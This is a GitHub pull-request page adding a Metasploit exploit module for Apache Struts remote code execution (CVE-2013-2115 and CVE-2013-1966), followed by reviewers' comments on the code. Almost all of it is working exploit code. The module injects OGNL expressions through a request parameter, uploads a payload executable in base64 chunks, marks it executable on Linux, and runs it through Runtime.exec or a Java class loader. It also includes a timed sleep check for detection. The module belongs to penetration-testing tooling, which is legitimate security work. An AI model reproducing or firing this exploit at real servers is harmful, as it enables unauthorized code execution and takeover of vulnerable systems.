-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Struts <= 2.3.14.1 remote code execution #1870
Changes from 4 commits
7b43117
b39531c
ec315ad
7c38324
d70526f
ab6a2a0
fb388c6
5233ac4
abb0ab1
51879ab
47524a0
5fa8ecd
eb4162d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,180 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Apache Struts includeParams Remote Code Execution', | ||
'Description' => %q{ | ||
This module exploits a remote command execution vulnerability in Apache Struts | ||
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject | ||
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. | ||
}, | ||
'Author' => | ||
[ | ||
'Eric Kobrin', # Vulnerability Discovery | ||
'Douglas Rodrigues', # Vulnerability Discovery | ||
'Coverity security Research Laboratory', # Vulnerability Discovery | ||
'NSFOCUS Security Team', # Vulnerability Discovery | ||
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-2115'], | ||
[ 'CVE', '2013-1966'], | ||
[ 'OSVDB', '93645'], | ||
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'], | ||
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html'] | ||
], | ||
'Platform' => [ 'win', 'linux', 'java'], | ||
'Privileged' => true, | ||
'Targets' => | ||
[ | ||
['Windows Universal', | ||
{ | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'windows' | ||
} | ||
], | ||
['Linux Universal', | ||
{ | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'linux' | ||
} | ||
], | ||
[ 'Java Universal', | ||
{ | ||
'Arch' => ARCH_JAVA, | ||
'Platform' => 'java' | ||
}, | ||
] | ||
], | ||
'DisclosureDate' => 'May 24 2013', | ||
'DefaultTarget' => 2)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(8080), | ||
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',rand_text_alpha_lower(4)]), | ||
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action"]), | ||
OptString.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET']), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If only GET or POST are allowed use an OptEnum, looks like a better idea. |
||
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) | ||
], self.class) | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" | ||
inject.gsub!(/CMD/,cmd) | ||
uri = normalize_uri(target_uri.path) | ||
print_status("Sending payload...") | ||
|
||
case datastore['HTTPMETHOD'] | ||
when 'POST' | ||
resp = send_request_cgi({ | ||
'uri' => uri, | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. can the command be placed in vars_get rather than URI? |
||
'vars_post' => { datastore['PARAMETER'] => inject }, | ||
'version' => '1.1', | ||
'method' => 'POST' | ||
}) | ||
when 'GET' | ||
resp = send_request_cgi({ | ||
'uri' => uri, | ||
'vars_get' => { datastore['PARAMETER'] => inject }, | ||
'version' => '1.1', | ||
'method' => 'GET' | ||
}) | ||
else | ||
fail_with(Exploit::Failure::Unknown, "Invalid HTTP method, use GET or POST") | ||
end | ||
return resp #Used for check function. | ||
end | ||
|
||
def exploit | ||
#Set up generic values. | ||
@payload_exe = rand_text_alphanumeric(4+rand(4)) | ||
pl_exe = generate_payload_exe | ||
append = 'false' | ||
#Now arch specific... | ||
case target['Platform'] | ||
when 'linux' | ||
@payload_exe = "/tmp/#{@payload_exe}" | ||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This could be migrated to use the new bourne stager module for neatness perhaps: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/bourne.rb There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Not particularly suited to this. I had a go and could probably wedge it in, but the JAVA based encode/decode + upload/copytofile method works in all 3 target instances using minimal/no code duplication for this module and is reliable. |
||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" | ||
when 'java' | ||
@payload_exe << ".jar" | ||
pl_exe = payload.encoded_jar.pack | ||
exec_cmd = "" | ||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," | ||
exec_cmd << "#q.setAccessible(true),#q.set(null,true)," | ||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," | ||
exec_cmd << "#q.setAccessible(true),#q.set(null,false)," | ||
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," | ||
exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," | ||
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" | ||
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" | ||
when 'windows' | ||
@payload_exe = "./#{@payload_exe}.exe" | ||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" | ||
else | ||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') | ||
end | ||
|
||
print_status("Preparing payload...") | ||
#Now with all the arch specific stuff set, perform the upload. | ||
#109 = length of command string plus the max length of append. | ||
sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. normalize_uri(target_uri.path).length so its consistent if / gets stripped/added? Also is 109 the correct length of the command string in this module? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. java_upload_part is unchanged so the value 109 remains the same. Have now used normalize_uri, was throwing off the java exploit side of things. Check was working, Exploit wasn't. |
||
chunk_length = 2048 - sub_from_chunk | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Can the chunk_length be greater if a POST request is used? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yep. Will get on these first thing tomorrow. Juan, Java was working last I checked but I did change to Linux payload to
|
||
chunk_length = ((chunk_length/4).floor)*3 | ||
while pl_exe.length > chunk_length | ||
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) | ||
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] | ||
append = true | ||
end | ||
java_upload_part(pl_exe,@payload_exe,append) | ||
execute_command(chmod_cmd) if target['Platform'] == 'linux' | ||
execute_command(exec_cmd) | ||
register_files_for_cleanup(@payload_exe) | ||
end | ||
|
||
def java_upload_part(part, filename, append = 'false') | ||
cmd = "" | ||
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," | ||
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," | ||
cmd << "#f.close()" | ||
execute_command(cmd) | ||
end | ||
|
||
def check | ||
print_status("Performing Check...") | ||
sleep_time = datastore['CHECK_SLEEPTIME'] | ||
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" | ||
t1 = Time.now | ||
print_status("Asking remote server to sleep for #{sleep_time} seconds") | ||
response = execute_command(check_cmd) | ||
t2 = Time.now | ||
delta = t2 - t1 | ||
|
||
|
||
if response.nil? | ||
return Exploit::CheckCode::Safe | ||
elsif delta < sleep_time | ||
return Exploit::CheckCode::Safe | ||
else | ||
return Exploit::CheckCode::Appears | ||
end | ||
end | ||
|
||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the parameter can be always randomized I feel like this option can be deleted. And just randomize. It's always a good idea to unload the user from configuration options.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
btw, after looking into the vulnerability I agree it's a good idea to put this option here so the user can provide the parameter name if necessary.